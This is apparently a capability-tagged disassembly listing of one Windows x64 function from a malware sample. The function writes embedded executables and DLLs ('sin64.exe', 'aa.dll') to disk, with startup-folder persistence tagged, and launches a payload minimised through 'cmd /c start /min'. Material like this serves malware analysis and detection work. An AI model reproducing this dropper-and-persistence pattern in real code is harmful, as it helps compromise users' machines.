Function at 0x180008020
Capabilities:
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xbc0]
sub rsp, 0xcc0
call fcn.180007cb0
call fcn.180007d40
mov edi, eax
call fcn.180006220
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x9b0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [0x180048f10]
lea rdx, str._sin64.exe
lea rcx, [rbp + 0x380]
call fcn.18000c900
xor esi, esi
lea rcx, [rbp + 0x380]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0xbd0]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea rdx, str.AP32
mov r8d, 0x1f2fb
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x180048f10]
lea rdx, str._s_aa.dll
lea rcx, [rbp + 0x590]
call fcn.18000c900
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], esi
lea rcx, [rbp + 0x590]
xor r9d, r9d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0xbd0]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea rdx, [0x1800f3a40]
mov r8d, 0x14122b
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x180048f10]
lea rdx, str._sin.exe
lea rcx, [rbp + 0x170]
call fcn.18000c900
lea r8, [0x180048f10]
lea rdx, str._s_rundll.dll
lea rcx, [rsp + 0x60]
call fcn.18000c900
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov r8, rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
lea rax, [rbp + 0x170]
inc r8
cmp word [rax + r8*2], si
jne 0x1800081b3
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x40]
call fcn.180002660
lea rdx, [rsp + 0x40]
lea rcx, str.C:in64.exe
call fcn.180007460
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180008221
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000821c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008319
call fcn.180011de8
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], si
jne 0x180008240
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180002660
lea rdx, [rsp + 0x40]
lea rcx, str.C:_aa.dll
call fcn.180007460
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800082aa
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082a5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008313
call fcn.180011de8
lea rax, [rsp + 0x60]
mov r9d, edi
lea r8, [rbp + 0x170]
mov qword [rsp + 0x20], rax
lea rdx, str.cmd__c_start__min__s__d__s
lea rcx, [rbp + 0x7a0]
call fcn.18000c900
lea rdx, [rbp + 0x7a0]
mov ecx, edi
call fcn.180007b70
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180006b40
lea r11, [rsp + 0xcc0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180018f64
int3
call fcn.180018f64
int3